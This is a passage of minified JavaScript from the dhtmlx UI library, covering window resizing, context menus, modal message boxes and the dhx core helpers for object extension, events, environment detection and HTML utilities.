false})};dhtmlXWindowsCell.prototype._initResize=function(){var a=this;var c=navigator.userAgent;this.conf.resize={b_width:6,c_type:(c.indexOf(\"MSIE 10.0\")>0||c.indexOf(\"MSIE 9.0\")>0||c.indexOf(\"MSIE 8.0\")>0||c.indexOf(\"MSIE 7.0\")>0||c.indexOf(\"MSIE 6.0\")>0)};this._rOnCellMouseMove=function(n){if(a.wins.conf.resize_actv==true||a.wins.w[a._idd].conf.allow_resize==false||a.conf.progress==true||a.wins.w[a._idd].conf.maxed==true||a.wins.w[a._idd].conf.fs_mode==true){var l=a.wins.w[a._idd].brd;if(l.style.cursor!=\"default\"){l.style.cursor=\"default\"}l=null;return}n=n||event;var v=a.wins.w[a._idd].brd;var g=a.conf.resize;var q=(a.wins.w[a._idd].conf.header==false);var s=n.clientX;var o=n.clientY;var h=window.dhx4.absLeft(v);var u=window.dhx4.absTop(v);var m=\"\";if(s<=h+g.b_width){m=\"w\"}else{if(s>=h+v.offsetWidth-g.b_width){m=\"e\"}}if(o>=u+v.offsetHeight-g.b_width){m=\"s\"+m}else{if(q&&o<=u+g.b_width){m=\"n\"+m}}if(m==\"\"){m=false}if(g.mode!=m){g.mode=m;if(m==false){v.style.cursor=\"default\"}else{v.style.cursor=m+\"-resize\"}}v=g=null};this._rOnCellMouseDown=function(m){if(a.conf.resize.mode==false){return}if(a.conf.progress==true){return}if(a.wins.w[a._idd].conf.allow_resize==false){return}if(a.wins.w[a._idd].conf.fs_mode==true){return}if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}if(a.wins._callMainEvent(\"onBeforeResizeStart\",a._idd)!==true){return}var g=a.wins.w[a._idd];var l=a.conf.resize;a.wins.conf.resize_actv=true;l.min_w=g.conf.min_w;l.min_h=g.conf.min_h;l.max_w=g.conf.max_w||+Infinity;l.max_h=g.conf.max_h||+Infinity;if(g.cell.dataType==\"layout\"&&g.cell.dataObj!=null&&typeof(g.cell.dataObj._getWindowMinDimension)==\"function\"){var h=g.cell.dataObj._getWindowMinDimension(g.cell);l.min_w=Math.max(h.w,l.min_w);l.min_h=Math.max(h.h,l.min_h)}l.vp_l=a.wins.conf.vp_pos_ofs;l.vp_r=a.wins.vp.clientWidth-a.wins.conf.vp_pos_ofs;l.vp_b=a.wins.vp.clientHeight-a.wins.conf.vp_pos_ofs;l.x=m.clientX;l.y=m.clientY;if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousemove\",a._rOnWinMouseMove,false);window.addEventListener(\"mouseup\",a._rOnWinMouseUp,false);window.addEventListener(\"selectstart\",a._rOnSelectStart,false)}else{document.body.attachEvent(\"onmousemove\",a._rOnWinMouseMove);document.body.attachEvent(\"onmouseup\",a._rOnWinMouseUp);document.body.attachEvent(\"onselectstart\",a._rOnSelectStart)}l.resized=false;l.vp_cursor=a.wins.vp.style.cursor;a.wins.vp.style.cursor=l.mode+\"-resize\";g=l=null};this._rOnWinMouseMove=function(m){m=m||event;var h=a.wins.w[a._idd];var l=a.conf.resize;if(!l.resized){h.fr_cover.className+=\" dhxwin_fr_cover_resize\";l.resized=true}var g=m.clientX-l.x;var n=m.clientY-l.y;if(l.mode.indexOf(\"e\")>=0){l.rw=Math.min(Math.max(h.conf.w+g,l.min_w),l.max_w);l.rx=null;if(h.conf.x+l.rw<l.vp_l){l.rw=l.vp_l-h.conf.x}else{if(h.conf.x+l.rw>a.wins.vp.clientWidth){l.rw=a.wins.vp.clientWidth-h.conf.x}}}else{if(l.mode.indexOf(\"w\")>=0){l.rw=Math.min(Math.max(h.conf.w-g,l.min_w),l.max_w);l.rx=h.conf.x+h.conf.w-l.rw;if(l.rx<0){l.rw=l.rw+l.rx;l.rx=0}else{if(l.rx>l.vp_r){l.rw=l.rw-l.vp_r;l.rx=l.vp_r}}}}if(l.mode.indexOf(\"s\")>=0){l.rh=Math.min(Math.max(h.conf.h+n,l.min_h),l.max_h);l.ry=null;if(h.conf.y+l.rh>a.wins.vp.clientHeight){l.rh=a.wins.vp.clientHeight-h.conf.y}}else{if(l.mode.indexOf(\"n\")>=0){l.rh=Math.min(Math.max(h.conf.h-n,l.min_h),l.max_h);l.ry=h.conf.y+h.conf.h-l.rh;if(l.ry<0){l.rh=l.rh+l.ry;l.ry=0}else{if(l.ry>l.vp_b){l.rh=l.rh-l.vp_b;l.ry=l.vp_b}}}}a._rAdjustSizer();h=l=null};this._rOnWinMouseUp=function(){var g=a.conf.resize;var e=a.wins.w[a._idd];a.wins.conf.resize_actv=false;a.wins.vp.style.cursor=g.vp_cursor;e.fr_cover.className=String(e.fr_cover.className).replace(/\\s{0,}dhxwin_fr_cover_resize/gi,\"\");if(g.resized){a.wins._winSetSize(a._idd,g.rw,g.rh);if(g.rx==null){g.rx=e.conf.x}if(g.ry==null){g.ry=e.conf.y}if(g.rx!=e.conf.x||g.ry!=e.conf.y){a.wins._winSetPosition(a._idd,g.rx,g.ry)}}if(g.obj!=null){g.obj.parentNode.removeChild(g.obj);g.obj=null}if(g.objFR!=null){g.objFR.parentNode.removeChild(g.objFR);g.objFR=null}if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",a._rOnWinMouseMove,false);window.removeEventListener(\"mouseup\",a._rOnWinMouseUp,false);window.removeEventListener(\"selectstart\",a._rOnSelectStart,false)}else{document.body.detachEvent(\"onmousemove\",a._rOnWinMouseMove);document.body.detachEvent(\"onmouseup\",a._rOnWinMouseUp);document.body.detachEvent(\"onselectstart\",a._rOnSelectStart)}if(g.resized==true){if(a.dataType==\"layout\"&&a.dataObj!=null){a.dataObj.callEvent(\"onResize\",[])}a.wins._callMainEvent(\"onResizeFinish\",a._idd)}else{a.wins._callMainEvent(\"onResizeCancel\",a._idd)}g.mode=\"\";e=g=null};this._rOnSelectStart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false};this._rInitSizer=function(){var g=a.conf.resize;var e=a.wins.w[a._idd];g.obj=document.createElement(\"DIV\");g.obj.className=\"dhxwin_resize\";g.obj.style.zIndex=e.win.style.zIndex;g.obj.style.cursor=g.mode+\"-resize\";a.wins.vp.appendChild(g.obj);if(a.wins.conf.fr_cover==true){g.objFR=document.createElement(\"IFRAME\");g.objFR.className=\"dhxwin_resize_fr_cover\";g.objFR.style.zIndex=g.obj.style.zIndex;a.wins.vp.insertBefore(g.objFR,g.obj)}g.rx=e.conf.x;g.ry=e.conf.y;g.rw=e.conf.w;g.rh=e.conf.h;g=null};this._rAdjustSizer=function(){var e=a.conf.resize;if(!e.obj){this._rInitSizer()}e.obj.style.width=e.rw+\"px\";e.obj.style.height=e.rh+\"px\";if(e.rx!=null){e.obj.style.left=e.rx+\"px\"}if(e.ry!=null){e.obj.style.top=e.ry+\"px\"}if(e.objFR!=null){e.objFR.style.width=e.obj.style.width;e.objFR.style.height=e.obj.style.height;if(e.rx!=null){e.objFR.style.left=e.obj.style.left}if(e.ry!=null){e.objFR.style.top=e.obj.style.top}}e=null};if(typeof(window.addEventListener)==\"function\"){this.wins.w[this._idd].brd.addEventListener(\"mousemove\",this._rOnCellMouseMove,false);this.wins.w[this._idd].brd.addEventListener(\"mousedown\",this._rOnCellMouseDown,false)}else{this.wins.w[this._idd].brd.attachEvent(\"onmousemove\",this._rOnCellMouseMove);this.wins.w[this._idd].brd.attachEvent(\"onmousedown\",this._rOnCellMouseDown)}this._unloadResize=function(){if(typeof(window.addEventListener)==\"function\"){this.wins.w[this._idd].brd.removeEventListener(\"mousemove\",this._rOnCellMouseMove,false);this.wins.w[this._idd].brd.removeEventListener(\"mousedown\",this._rOnCellMouseDown,false)}else{this.wins.w[this._idd].brd.detachEvent(\"onmousemove\",this._rOnCellMouseMove);this.wins.w[this._idd].brd.detachEvent(\"onmousedown\",this._rOnCellMouseDown)}this._initResize=null;this._rOnCellMouseMove=null;this._rOnCellMouseDown=null;this._rOnWinMouseMove=null;this._rOnWinMouseUp=null;this._rOnSelectStart=null;this._rInitSizer=null;this._rAdjustSizer=null;this._unloadResize=null;this.conf.resize=null;a=null}};dhtmlXWindows.prototype.attachContextMenu=function(a){return this._renderContextMenu(\"icon\",null,null,a)};dhtmlXWindows.prototype.getContextMenu=function(){if(this.cm!=null&&this.cm.global!=null){return this.cm.global}return null};dhtmlXWindows.prototype.detachContextMenu=function(){this._detachContextMenu(\"icon\",null,null)};dhtmlXWindowsCell.prototype.attachContextMenu=function(a){return this.wins._renderContextMenu(\"icon\",this._idd,null,a)};dhtmlXWindowsCell.prototype.getContextMenu=function(){if(this.wins.cm!=null&&this.wins.cm.icon[this._idd]!=null){return this.wins.cm.icon[this._idd]}return null};dhtmlXWindowsCell.prototype.detachContextMenu=function(){this.wins._detachContextMenu(\"icon\",this._idd,null)};dhtmlXWindowsButton.prototype.attachContextMenu=function(a){return this.conf.wins._renderContextMenu(\"button\",this.conf.winId,this.conf.name,a)};dhtmlXWindowsButton.prototype.getContextMenu=function(){if(this.conf.wins.cm==null||this.conf.wins.cm.button[this.conf.winId]==null){return null}if(this.conf.wins.cm.button[this.conf.winId][this.conf.name]!=null){return this.conf.wins.cm.button[this.conf.winId][this.conf.name]}return null};dhtmlXWindowsButton.prototype.detachContextMenu=function(){this.conf.wins._detachContextMenu(\"button\",this.conf.winId,this.conf.name)};dhtmlXWindows.prototype._renderContextMenu=function(m,l,e,c){var g=this;var a=false;if(this.cm==null){this.cm={global:null,icon:{},button:{}};a=true}if(l==null){if(this.cm.global!=null){return}}else{if(m==\"icon\"){if(this.cm.icon[l]!=null){return}}else{if(m==\"button\"){if(this.cm.button[l]!=null&&this.cm.button[l][e]!=null){return}}}}if(c==null){c={}}c.parent=null;c.context=true;var h=new dhtmlXMenuObject(c);h.setAutoHideMode(false);h.attachEvent(\"onShow\",function(){this.conf.wins_menu_open=true});h.attachEvent(\"onHide\",function(){this.conf.wins_menu_open=false;g.conf.opened_menu=null});if(l==null){this.cm.global=h}else{if(m==\"icon\"){this.cm.icon[l]=h}else{if(m==\"button\"){if(this.cm.button[l]==null){this.cm.button[l]={}}this.cm.button[l][e]=h}}}if(a){this._showContextMenu=function(r,q){if(r.button>=2){return}if(q.mode==\"icon\"&&q.id!=null&&q.press_type==\"mousedown\"){var s=this.cm.icon[q.id]||this.cm.global;if(s==null){return}r.cancelBubble=true;var o=this.w[q.id].hdr.firstChild;if(s.conf.wins_menu_open&&this.conf.opened_menu==q.id){s.hideContextMenu()}else{this._hideContextMenu();s.showContextMenu(window.dhx4.absLeft(o),window.dhx4.absTop(o)+o.offsetHeight);this.conf.opened_menu=q.id}s=o=null}if(q.mode==\"button\"&&q.id!=null&&q.press_type==\"mousedown\"){if(this.cm.button[q.id]==null||this.cm.button[q.id][q.button_name]==null){return}r.cancelBubble=true;this.conf.button_last=null;var s=this.cm.button[q.id][q.button_name];var n=this.w[q.id].b[q.button_name].button;if(s.conf.wins_menu_open&&this.conf.opened_menu==q.id){s.hideContextMenu()}else{this._hideContextMenu();s.showContextMenu(window.dhx4.absLeft(n),window.dhx4.absTop(n)+n.offsetHeight);this.conf.opened_menu=q.id}s=n=null}};this._hideContextMenu=function(s){if(s!=null){s=s||event;if(s.type==\"keydown\"&&s.keyCode!=27){return}var r=s.target||s.srcElement;var o=true;while(r!=null&&o==true){if(r.className!=null&&r.className.search(/SubLevelArea_Polygon/)>=0){o=false}else{r=r.parentNode}}}if(o||s==null){if(g.cm.global!=null){g.cm.global.hideContextMenu()}for(var q in g.cm.icon){if(g.cm.icon[q]!=null){g.cm.icon[q].hideContextMenu()}}for(var q in g.cm.button){for(var n in g.cm.button[q]){if(g.cm.button[q][n]!=null){g.cm.button[q][n].hideContextMenu()}}}}};this._detachContextMenu=function(q,o,n){if(this.cm==null){return}if(o==null){if(this.cm.global!=null){this.cm.global.unload();this.cm.global=null}}else{if(q==\"icon\"){if(this.cm.icon[o]!=null){this.cm.icon[o].unload();this.cm.icon[o]=null}}else{if(q==\"button\"){if(this.cm.button[o]!=null&&this.cm.button[o][n]!=null){this.cm.button[o][n].unload();this.cm.button[o][n]=null}}}}};this.attachEvent(\"_winMouseDown\",this._showContextMenu);if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousedown\",this._hideContextMenu,false);window.addEventListener(\"keydown\",this._hideContextMenu,false)}else{document.body.attachEvent(\"onmousedown\",this._hideContextMenu);document.body.attachEvent(\"onkeydown\",this._hideContextMenu)}this._unloadContextMenu=function(){this._detachContextMenu(\"icon\",null,null);this.cm=null;if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousedown\",this._hideContextMenu,false);window.removeEventListener(\"keydown\",this._hideContextMenu,false)}else{document.body.detachEvent(\"onmousedown\",this._hideContextMenu);document.body.detachEvent(\"onkeydown\",this._hideContextMenu)}g=null}}return h};if(!window.dhtmlx){window.dhtmlx={}}(function(){var q=null;function s(y,w){var x=y.callback;r(false);y.box.parentNode.removeChild(y.box);q=y.box=null;if(x){x(w)}}function a(x){if(q){x=x||event;var w=x.which||event.keyCode;if(dhtmlx.message.keyboard){if(w==13||w==32){s(q,true)}if(w==27){s(q,false)}}if(x.preventDefault){x.preventDefault()}return !(x.cancelBubble=true)}}if(document.attachEvent){document.attachEvent(\"onkeydown\",a)}else{document.addEventListener(\"keydown\",a,true)}function r(x){if(!r.cover){r.cover=document.createElement(\"DIV\");r.cover.onkeydown=a;r.cover.className=\"dhx_modal_cover\";document.body.appendChild(r.cover)}var w=document.body.scrollHeight;r.cover.style.display=x?\"inline-block\":\"none\"}function l(x,w){return\"<div class='dhtmlx_popup_button' result='\"+w+\"' ><div>\"+x+\"</div></div>\"}function e(x){if(!u.area){u.area=document.createElement(\"DIV\");u.area.className=\"dhtmlx_message_area\";u.area.style[u.position]=\"5px\";document.body.appendChild(u.area)}u.hide(x.id);var w=document.createElement(\"DIV\");w.innerHTML=\"<div>\"+x.text+\"</div>\";w.className=\"dhtmlx-info dhtmlx-\"+x.type;w.onclick=function(){if(x){u.hide(x.id)}x=null};if(u.position==\"bottom\"&&u.area.firstChild){u.area.insertBefore(w,u.area.firstChild)}else{u.area.appendChild(w)}if(x.expire>0){u.timers[x.id]=window.setTimeout(function(){u.hide(x.id)},x.expire)}u.pull[x.id]=w;w=null;return x.id}function m(x,A,E){var D=document.createElement(\"DIV\");D.className=\" dhtmlx_modal_box dhtmlx-\"+x.type;D.setAttribute(\"dhxbox\",1);var w=\"\";if(x.width){D.style.width=x.width}if(x.height){D.style.height=x.height}if(x.title){w+='<div class=\"dhtmlx_popup_title\">'+x.title+\"</div>\"}w+='<div class=\"dhtmlx_popup_text\"><span>'+(x.content?\"\":x.text)+'</span></div><div  class=\"dhtmlx_popup_controls\">';if(A){w+=l(x.ok||\"OK\",true)}if(E){w+=l(x.cancel||\"Cancel\",false)}if(x.buttons){for(var y=0;y<x.buttons.length;y++){w+=l(x.buttons[y],y)}}w+=\"</div>\";D.innerHTML=w;if(x.content){var C=x.content;if(typeof C==\"string\"){C=document.getElementById(C)}if(C.style.display==\"none\"){C.style.display=\"\"}D.childNodes[x.title?1:0].appendChild(C)}D.onclick=function(I){I=I||event;var H=I.target||I.srcElement;if(!H.className){H=H.parentNode}if(H.className==\"dhtmlx_popup_button\"){var F=H.getAttribute(\"result\");F=(F==\"true\")||(F==\"false\"?false:F);s(x,F)}};x.box=D;if(A||E){q=x}return D}function v(A,C,E){var D=A.tagName?A:m(A,C,E);if(!A.hidden){r(true)}document.body.appendChild(D);var w=A.left||Math.abs(Math.floor(((window.innerWidth||document.documentElement.offsetWidth)-D.offsetWidth)/2));var F=A.top||Math.abs(Math.floor(((window.innerHeight||document.documentElement.offsetHeight)-D.offsetHeight)/2));if(A.position==\"top\"){D.style.top=\"-3px\"}else{D.style.top=F+\"px\"}D.style.left=w+\"px\";D.onkeydown=a;D.focus();if(A.hidden){dhtmlx.modalbox.hide(D)}return D}function o(w){return v(w,true,false)}function c(w){return v(w,true,true)}function h(w){return v(w)}function n(x,w,y){if(typeof x!=\"object\"){if(typeof w==\"function\"){y=w;w=\"\"}x={text:x,type:w,callback:y}}return x}function g(y,x,w,A){if(typeof y!=\"object\"){y={text:y,type:x,expire:w,id:A}}y.id=y.id||u.uid();y.expire=y.expire||u.expire;return y}dhtmlx.alert=function(){var w=n.apply(this,arguments);w.type=w.type||\"confirm\";return o(w)};dhtmlx.confirm=function(){var w=n.apply(this,arguments);w.type=w.type||\"alert\";return c(w)};dhtmlx.modalbox=function(){var w=n.apply(this,arguments);w.type=w.type||\"alert\";return h(w)};dhtmlx.modalbox.hide=function(w){while(w&&w.getAttribute&&!w.getAttribute(\"dhxbox\")){w=w.parentNode}if(w){w.parentNode.removeChild(w);r(false);q=null}};var u=dhtmlx.message=function(A,y,x,C){A=g.apply(this,arguments);A.type=A.type||\"info\";var w=A.type.split(\"-\")[0];switch(w){case\"alert\":return o(A);case\"confirm\":return c(A);case\"modalbox\":return h(A);default:return e(A);break}};u.seed=(new Date()).valueOf();u.uid=function(){return u.seed++};u.expire=4000;u.keyboard=true;u.position=\"top\";u.pull={};u.timers={};u.hideAll=function(){for(var w in u.pull){u.hide(w)}};u.hide=function(x){var w=u.pull[x];if(w&&w.parentNode){window.setTimeout(function(){w.parentNode.removeChild(w);w=null},2000);w.className+=\" hidden\";if(u.timers[x]){window.clearTimeout(u.timers[x])}delete u.pull[x]}}})();if(!window.dhx){dhx={}}dhx.assert=function(c,a){if(!c){dhx.assert_error(a)}};dhx.assert_error=function(message){dhx.log(\"error\",message);if(dhx.message&&typeof message==\"string\"){dhx.message({type:\"debug\",text:message,expire:-1})}if(dhx.debug!==false){eval(\"debugger;\")}};dhx.assert_core_ready=function(){if(window.dhx_on_core_ready){dhx_on_core_ready()}};dhx.codebase=\"./\";dhx.name=\"Core\";dhx.clone=function(c){var a=dhx.clone._function;a.prototype=c;return new a()};dhx.clone._function=function(){};dhx.extend=function(e,c,a){dhx.assert(e,\"Invalid mixing target\");dhx.assert(c,\"Invalid mixing source\");if(e._dhx_proto_wait){dhx.PowerArray.insertAt.call(e._dhx_proto_wait,c,1);return e}for(var g in c){if(!e[g]||a){e[g]=c[g]}}if(c.defaults){dhx.extend(e.defaults,c.defaults)}if(c.$init){c.$init.call(e)}return e};dhx.copy=function(a){dhx.assert(a,\"Invalid mixing target\");if(arguments.length>1){var c=arguments[0];a=arguments[1]}else{var c=(dhx.isArray(a)?[]:{})}for(var e in a){if(a[e]&&typeof a[e]==\"object\"&&!dhx.isDate(a[e])){c[e]=(dhx.isArray(a[e])?[]:{});dhx.copy(c[e],a[e])}else{c[e]=a[e]}}return c};dhx.single=function(e){var a=null;var c=function(g){if(!a){a=new e({})}if(a._reinit){a._reinit.apply(a,arguments)}return a};return c};dhx.protoUI=function(){if(dhx.debug_proto){dhx.log(\"UI registered: \"+arguments[0].name)}var e=arguments;var a=e[0].name;var c=function(h){if(!c){return dhx.ui[a].prototype}var m=c._dhx_proto_wait;if(m){var l=[m[0]];for(var g=1;g<m.length;g++){l[g]=m[g];if(l[g]._dhx_proto_wait){l[g]=l[g].call(dhx,l[g].name)}if(l[g].prototype&&l[g].prototype.name){dhx.ui[l[g].prototype.name]=l[g]}}dhx.ui[a]=dhx.proto.apply(dhx,l);if(c._dhx_type_wait){for(var g=0;g<c._dhx_type_wait.length;g++){dhx.Type(dhx.ui[a],c._dhx_type_wait[g])}}c=m=null}if(this!=dhx){return new dhx.ui[a](h)}else{return dhx.ui[a]}};c._dhx_proto_wait=Array.prototype.slice.call(arguments,0);return dhx.ui[a]=c};dhx.proto=function(){if(dhx.debug_proto){dhx.log(\"Proto chain:\"+arguments[0].name+\"[\"+arguments.length+\"]\")}var l=arguments;var h=l[0];var c=!!h.$init;var n=[];dhx.assert(h,\"Invalid mixing target\");for(var g=l.length-1;g>0;g--){dhx.assert(l[g],\"Invalid mixing source\");if(typeof l[g]==\"function\"){l[g]=l[g].prototype}if(l[g].$init){n.push(l[g].$init)}if(l[g].defaults){var e=l[g].defaults;if(!h.defaults){h.defaults={}}for(var a in e){if(dhx.isUndefined(h.defaults[a])){h.defaults[a]=e[a]}}}if(l[g].type&&h.type){for(var a in l[g].type){if(!h.type[a]){h.type[a]=l[g].type[a]}}}for(var m in l[g]){if(!h[m]){h[m]=l[g][m]}}}if(c){n.push(h.$init)}h.$init=function(){for(var q=0;q<n.length;q++){n[q].apply(this,arguments)}};var o=function(q){this.$ready=[];dhx.assert(this.$init,\"object without init method\");this.$init(q);if(this._parseSettings){this._parseSettings(q,this.defaults)}for(var r=0;r<this.$ready.length;r++){this.$ready[r].call(this)}};o.prototype=h;h=l=null;return o};dhx.bind=function(c,a){return function(){return c.apply(a,arguments)}};dhx.require=function(c,n,m){if(typeof c!=\"string\"){var l=c.length||0;var h=n;if(!l){for(var a in c){l++}n=function(){l--;if(l===0){h.apply(this,arguments)}};for(var a in c){dhx.require(a,n,m)}}else{n=function(){if(l){l--;dhx.require(c[c.length-l-1],n,m)}else{return h.apply(this,arguments)}};n()}return}if(dhx._modules[c]!==true){if(c.substr(-4)==\".css\"){var g=dhx.html.create(\"LINK\",{type:\"text/css\",rel:\"stylesheet\",href:dhx.codebase+c});document.head.appendChild(g);if(n){n.call(m||window)}return}var e=arguments[4];if(!n){dhx.exec(dhx.ajax().sync().get(dhx.codebase+c).responseText);dhx._modules[c]=true}else{if(!dhx._modules[c]){dhx._modules[c]=[[n,m]];dhx.ajax(dhx.codebase+c,function(r){dhx.exec(r);var q=dhx._modules[c];dhx._modules[c]=true;for(var o=0;o<q.length;o++){q[o][0].call(q[o][1]||window,!o)}})}else{dhx._modules[c].push([n,m])}}}};dhx._modules={};dhx.exec=function(code){if(window.execScript){window.execScript(code)}else{window.eval(code)}};dhx.wrap=function(c,a){if(!c){return a}return function(){var e=c.apply(this,arguments);a.apply(this,arguments);return e}};dhx.isUndefined=function(c){return typeof c==\"undefined\"};dhx.delay=function(g,c,e,a){return window.setTimeout(function(){var h=g.apply(c,(e||[]));g=c=e=null;return h},a||1)};dhx.uid=function(){if(!this._seed){this._seed=(new Date).valueOf()}this._seed++;return this._seed};dhx.toNode=function(a){if(typeof a==\"string\"){return document.getElementById(a)}return a};dhx.toArray=function(a){return dhx.extend((a||[]),dhx.PowerArray,true)};dhx.toFunctor=function(str){return(typeof(str)==\"string\")?eval(str):str};dhx.isArray=function(a){return Array.isArray?Array.isArray(a):(Object.prototype.toString.call(a)===\"[object Array]\")};dhx.isDate=function(a){return a instanceof Date};dhx._events={};dhx.event=function(g,e,a,c){g=dhx.toNode(g);var h=dhx.uid();if(c){a=dhx.bind(a,c)}dhx._events[h]=[g,e,a];if(g.addEventListener){g.addEventListener(e,a,false)}else{if(g.attachEvent){g.attachEvent(\"on\"+e,a)}}return h};dhx.eventRemove=function(c){if(!c){return}dhx.assert(this._events[c],\"Removing non-existing event\");var a=dhx._events[c];if(a[0].removeEventListener){a[0].removeEventListener(a[1],a[2],false)}else{if(a[0].detachEvent){a[0].detachEvent(\"on\"+a[1],a[2])}}delete this._events[c]};dhx.log=function(c,e,a){if(arguments.length==1){e=c;c=\"log\"}if(window.console&&console.log){c=c.toLowerCase();if(window.console[c]){window.console[c](e||\"unknown error\")}else{window.console.log(c+\": \"+e)}if(a){window.console.log(a)}}};dhx.log_full_time=function(a){dhx._start_time_log=new Date();dhx.log(\"Timing start [\"+a+\"]\");window.setTimeout(function(){var c=new Date();dhx.log(\"Timing end [\"+a+\"]:\"+(c.valueOf()-dhx._start_time_log.valueOf())/1000+\"s\")},1)};dhx.log_time=function(a){var e=\"_start_time_log\"+a;if(!dhx[e]){dhx[e]=new Date();dhx.log(\"Info\",\"Timing start [\"+a+\"]\")}else{var c=new Date();dhx.log(\"Info\",\"Timing end [\"+a+\"]:\"+(c.valueOf()-dhx[e].valueOf())/1000+\"s\");dhx[e]=null}};dhx.debug_code=function(a){a.call(dhx)};dhx.EventSystem={$init:function(){if(!this._evs_events){this._evs_events={};this._evs_handlers={};this._evs_map={}}},blockEvent:function(){this._evs_events._block=true},unblockEvent:function(){this._evs_events._block=false},mapEvent:function(a){dhx.extend(this._evs_map,a,true)},on_setter:function(a){if(a){for(var c in a){if(typeof a[c]==\"function\"){this.attachEvent(c,a[c])}}}},callEvent:function(e,h){if(this._evs_events._block){return true}e=e.toLowerCase();var g=this._evs_events[e.toLowerCase()];var a=true;if(dhx.debug){dhx.log(\"info\",\"[\"+this.name+\"] event:\"+e,h)}if(g){for(var c=0;c<g.length;c++){if(g[c].apply(this,(h||[]))===false){a=false}}}if(this._evs_map[e]&&!this._evs_map[e].callEvent(e,h)){a=false}return a},attachEvent:function(c,a,g){dhx.assert(a,\"Invalid event handler for \"+c);c=c.toLowerCase();g=g||dhx.uid();a=dhx.toFunctor(a);var e=this._evs_events[c]||dhx.toArray();e.push(a);this._evs_events[c]=e;this._evs_handlers[g]={f:a,t:c};return g},detachEvent:function(g){if(!this._evs_handlers[g]){return}var c=this._evs_handlers[g].t;var a=this._evs_handlers[g].f;var e=this._evs_events[c];e.remove(a);delete this._evs_handlers[g]},hasEvent:function(a){a=a.toLowerCase();return this._evs_events[a]?true:false}};dhx.extend(dhx,dhx.EventSystem);dhx.PowerArray={removeAt:function(c,a){if(c>=0){this.splice(c,(a||1))}},remove:function(a){this.removeAt(this.find(a))},insertAt:function(c,e){if(!e&&e!==0){this.push(c)}else{var a=this.splice(e,(this.length-e));this[e]=c;this.push.apply(this,a)}},find:function(c){for(var a=0;a<this.length;a++){if(c==this[a]){return a}}return -1},each:function(a,e){for(var c=0;c<this.length;c++){a.call((e||this),this[c])}},map:function(a,e){for(var c=0;c<this.length;c++){this[c]=a.call((e||this),this[c])}return this},filter:function(a,e){for(var c=0;c<this.length;c++){if(!a.call((e||this),this[c])){this.splice(c,1);c--}}return this}};dhx.env={};(function(){if(navigator.userAgent.indexOf(\"Mobile\")!=-1){dhx.env.mobile=true}if(dhx.env.mobile||navigator.userAgent.indexOf(\"iPad\")!=-1||navigator.userAgent.indexOf(\"Android\")!=-1){dhx.env.touch=true}if(navigator.userAgent.indexOf(\"Opera\")!=-1){dhx.env.isOpera=true}else{dhx.env.isIE=!!document.all;dhx.env.isFF=!document.all;dhx.env.isWebKit=(navigator.userAgent.indexOf(\"KHTML\")!=-1);dhx.env.isSafari=dhx.env.isWebKit&&(navigator.userAgent.indexOf(\"Mac\")!=-1)}if(navigator.userAgent.toLowerCase().indexOf(\"android\")!=-1){dhx.env.isAndroid=true}dhx.env.transform=false;dhx.env.transition=false;var e={};e.names=[\"transform\",\"transition\"];e.transform=[\"transform\",\"WebkitTransform\",\"MozTransform\",\"OTransform\",\"msTransform\"];e.transition=[\"transition\",\"WebkitTransition\",\"MozTransition\",\"OTransition\",\"msTransition\"];var m=document.createElement(\"DIV\");for(var h=0;h<e.names.length;h++){var g=e[e.names[h]];for(var c=0;c<g.length;c++){if(typeof m.style[g[c]]!=\"undefined\"){dhx.env[e.names[h]]=g[c];break}}}m.style[dhx.env.transform]=\"translate3d(0,0,0)\";dhx.env.translate=(m.style[dhx.env.transform])?\"translate3d\":\"translate\";var l=\"\";var a=false;if(dhx.env.isOpera){l=\"-o-\";a=\"O\"}if(dhx.env.isFF){l=\"-Moz-\"}if(dhx.env.isWebKit){l=\"-webkit-\"}if(dhx.env.isIE){l=\"-ms-\"}dhx.env.transformCSSPrefix=l;dhx.env.transformPrefix=a||(dhx.env.transformCSSPrefix.replace(/-/gi,\"\"));dhx.env.transitionEnd=((dhx.env.transformCSSPrefix==\"-Moz-\")?\"transitionend\":(dhx.env.transformPrefix+\"TransitionEnd\"))})();dhx.env.svg=(function(){return document.implementation.hasFeature(\"http://www.w3.org/TR/SVG11/feature#BasicStructure\",\"1.1\")})();dhx.html={_native_on_selectstart:0,denySelect:function(){if(!dhx._native_on_selectstart){dhx._native_on_selectstart=document.onselectstart}document.onselectstart=dhx.html.stopEvent},allowSelect:function(){if(dhx._native_on_selectstart!==0){document.onselectstart=dhx._native_on_selectstart||null}dhx._native_on_selectstart=0},index:function(c){var a=0;while(c=c.previousSibling){a++}return a},_style_cache:{},createCss:function(e){var g=\"\";for(var c in e){g+=c+\":\"+e[c]+\";\"}var a=this._style_cache[g];if(!a){a=\"s\"+dhx.uid();this.addStyle(\".\"+a+\"{\"+g+\"}\");this._style_cache[g]=a}return a},addStyle:function(c){var a=document.createElement(\"style\");a.setAttribute(\"type\",\"text/css\");a.setAttribute(\"media\",\"screen\");if(a.styleSheet){a.styleSheet.cssText=c}else{a.appendChild(document.createTextNode(c))}document.getElementsByTagName(\"head\")[0].appendChild(a)},create:function(c,a,e){a=a||{};var g=document.createElement(c);for(var h in a){g.setAttribute(h,a[h])}if(a.style){g.style.cssText=a.style}if(a[\"class\"]){g.className=a[\"class\"]}if(e){g.innerHTML=e}return g},getValue:function(a){a=dhx.toNode(a);if(!a){return\"\"}return dhx.isUndefined(a.value)?a.innerHTML:a.value},remove:function(c){if(c instanceof Array){for(var a=0;a<c.length;a++){this.remove(c[a])}}else{if(c&&c.parentNode){c.parentNode.removeChild(c)}}},insertBefore:function(c,e,a){if(!c){return}if(e&&e.parentNode){e.parentNode.insertBefore(c,e)}else{a.appendChild(c)}},locate:function(c,h){if(c.tagName){var a=c}else{c=c||event;var a=c.target||c.srcElement}while(a){if(a.getAttribute){var g=a.getAttribute(h);if(g){return g}}a=a.parentNode}return null},offset:function(g){if(g.getBoundingClientRect){var m=g.getBoundingClientRect();var n=document.body;var c=document.documentElement;var a=window.pageYOffset||c.scrollTop||n.scrollTop;var h=window.pageXOffset||c.scrollLeft||n.scrollLeft;var l=c.clientTop||n.clientTop||0;var o=c.clientLeft||n.clientLeft||0;var q=m.top+a-l;var e=m.left+h-o;return{y:Math.round(q),x:Math.round(e)}}else{var 